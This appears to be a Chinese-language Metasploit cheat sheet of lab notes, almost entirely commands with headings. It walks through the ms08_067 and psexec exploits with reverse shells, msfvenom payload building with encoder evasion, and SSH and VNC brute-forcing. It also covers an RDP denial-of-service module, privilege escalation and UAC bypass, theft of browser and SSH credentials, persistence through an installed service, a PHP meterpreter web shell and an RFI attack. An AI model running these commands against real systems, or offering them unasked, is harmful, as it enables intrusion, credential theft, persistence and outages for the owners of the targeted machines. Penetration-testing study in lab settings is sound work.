use exploit/windows/smb/ms08_067_netapi show options set payload windows/shell/reverse_tcp set rhost 192.168.1.200 set lhost 192.168.1.6 set target 34 run -j sessions -l sessions -i 1
三、实验案例
(1)active exploit与PassiveMoudle案例
ActiveModule
1 2 3 4 5 6 7 8 9 10 11 12 13
search smb/psexec use exploit/windows/smb/psexec search shell/reverse set payload payload/windows/shell/reverse_tcp set rhosts 192.168.1.100 set lhost 192.168.1.6 set SMBUSER administrator set SMBPASS 11 show options show targets run -j sessions -l sessions -i 1
PassiveMoudle
1 2 3 4 5 6
search windows/browser/ms07_017_ani_loadimage_chunksize use windows/browser/ms07_017_ani_loadimage_chunksize set payload payload/windows/shell/reverse_tcp set lhost 192.168.1.6 set srvhost 192.168.1.6 run # 等待访问即可
search ms08_067 use exploit/windows/smb/ms08_067_netapi show options set rhosts 192.168.1.200 set target 34 set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.6 run -j sessions -l sessions 1
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set rhosts 192.168.1.200; set target 34; set payload windows/meterpreter/reverse_tcp; set lhost 192.168.1.6; run -j"
0x02.MSF信息收集
一、内置外部工具
1
db_nmap 192.168.1.0/24
二、auxiliary模块
例一,arp主机扫描
1 2 3 4 5 6 7
search arp use auxiliary/scanner/discovery/arp_sweep show options set interface eth0 # 设置网卡 set rhosts 192.168.1.0/24 # 设置网段 set threads 20 # 设置线程数 run
例二,端口扫描
1 2 3 4 5 6
search portscan set interface eth0 set ports 80 set rhosts 192.168.1.0/24 set threads 20 run
例三,UDP扫描
1
use auxiliary/scanner/discovery/udp_sweep
例四,SMTP扫描
1 2 3 4 5
vi /etc/default/snmpd #修改侦听地址 0.0.0.0 use auxiliary/scanner/snmp/snmp_login use auxiliary/scanner/snmp/snmp_enum use auxiliary/scanner/snmp/snmp_enumusers (windows) use auxiliary/scanner/snmp/snmp_enumshares (windows)
例五,SMB扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
版本扫描 use auxiliary/scanner/smb/smb_version
扫描命令管道,判断SMB服务类型(账号,密码) use auxiliary/scanner/smb/pipe_auditor
扫描通过SMB管道可以访问的RCERPC服务 use auxiliary/scanner/smb/pipe_dcerpc_auditor
SMB枚举共享 use auxiliary/scanner/smb/smb_enumshares
SMB用户枚举 use auxiliary/scanner/smb/smb_enumusers
SMB SID(RID)枚举 use auxiliary/scanner/smb/smb_lookupsid
例六,SSH扫描
1 2 3 4 5 6 7 8 9
SSH版本扫描 use auxiliary/scanner/ssh/ssh_versio
SSH密码爆破 use auxiliary/scanner/ssh/ssh_login set userpass_file /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
SSH公钥登入 use auxiliary/scanner/ssh/ssh_login_pubkey
0x03.MSF漏洞扫描
实验案例
例一,vnc密码破解
1 2 3 4 5
use auxiliary/scanner/vnc/vnc_login threads 30 set BlANK_PASSWORDS yes set rhosts 192.168.1.5 run
例二,vnc无密码访问
1 2 3
use auxiliary/scanner/vnc/vnc_none_auth set rhosts 192.168.1.5 run
例三,RDP远程桌面漏洞
1 2 3 4 5
use auxiliary/scanner/rdp/ms12_020_check # 无DOS攻击 set rhosts 192.168.1.200 run
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids # DOS攻击,蓝屏关机
例四,显示目录及文件
1 2
use auxiliary/scanner/http/files_dir run
例五,WebDAV Unicode编码身份验证绕过
1 2
use auxiliary/scanner/http/dir_webdav_unicode_bypass run
例六,wmap
1 2
首先需要load wmap 根据sqlmap工作模式开发
0x04.MSF客户端渗透
实验案例
案例1
1 2 3 4 5 6
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp lhost=192.168.1.6 lport=4444 -b '\x00\xff' -e x86/shikata_ga_nai -i 5 -f exe -o what.exe
use exploit/multi/handler set payload windows/shell/reverse_tcp set lhost 192.168.1.6 run
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o 1.exe
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.6 exploit -j 运行1.exe
得到LLuna用户权限 meterpreter > getuid Server username: L-CD1028181A2B4\Lluna
提权 meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
基于session提权(UAC允许) background use exploit/windows/local/ask set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.6 set filename winupdate.exe set session 1 点击确定get shell meterpreter > getuid Server username: L-CD1028181A2B4\Lluna meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >
绕过UAC提权,会出现Already in elevated state(已经处于提升状态) use exploit/windows/local/bypassuac set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.6 set session 1
使用DDL动态链接库绕过 use exploit/windows/local/bypassuac_injection set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.6
使用漏洞提权 use exploit/windows/local/ms13_053_schlamperei
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o a.exe
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.4 set exitonsession # 持续监听4444端口,能够同时获取多个session run -j -z
使用post模块进行后渗透测试
1 2 3 4 5 6 7 8 9 10 11 12 13
run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 #扫描整个网段 run post/windows/gather/checkvm # 扫描虚拟机 run post/windows/gather/credentials/credential_collector # 扫描身份验证信息(账号)token run post/windows/gather/enum_applications # 扫描安装软件的信息 run post/windows/gather/enum_logged_on_users # 扫描正处于登入的账号(500为管理员) run post/windows/gather/enum_snmp # 查看snmp相关配置 run post/multi/recon/local_exploit_suggester # 扫描本地可以用于提权的漏洞模块 run post/windows/manage/delete_user USERNAME=a # 删除用户 run post/multi/gather/env # 查看系统环境信息 run post/multi/gather/firefox_creds # 查看火狐浏览器保存的密码 run post/multi/gather/ssh_creds # 查看本地保存的ssh用户名密码信息 run post/multi/gather/check_malware REMOTEFILE=c:\\a.exe # 检查目标系统文件是否为恶意文件 run hostsedit -e 192.168.1.4,www.baidu.com # 修改hosts文件
设置制动执行脚本,使得到的session进程为explorer
1 2 3 4 5
msf5 exploit(multi/handler) > set AutorunScript migrate -n explorer.exe run -j -z
set InitialAutoRunScript migrate -n explorer.exe set AutoRunScript post/windows/gather/dumplinks
案例九,建立持久连接
1
run metsvc -A # 在目标机器创建一个系统服务并启动
连接
1 2 3 4 5
use exploit/multi/handler set payload windows/metsvc_bind_tcp set rhost 192.168.1.200 set lport 31337 run
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=3333 -f raw -o a.php
set payload php/meterpreter/reverse_tcp set lport 3333 run
浏览器访问
getshell
案例十二,RFI
1 2 3 4 5 6 7 8 9 10 11 12 13 14
修改PHP配置文件,允许远程包含 vi /etc/php5/cgi/php.ini #php info 配置文件 allow_url_fopen = On allow_url_include = On
MSF: use exploit/unix/webapp/php_include set RHOST 192.168.1.5 set PATH /dvwa/vulnerabilities/fi/ set PHPURI /?page=XXpathXX # 不管什么都填XXpathXX set HEADERS "Cookie:security=low;PHPSESSID=r0p9hepkbrkcn01jjjqldsork2" set payload php/meterpreter/reverse_tcp set lhost 192.168.1.4 run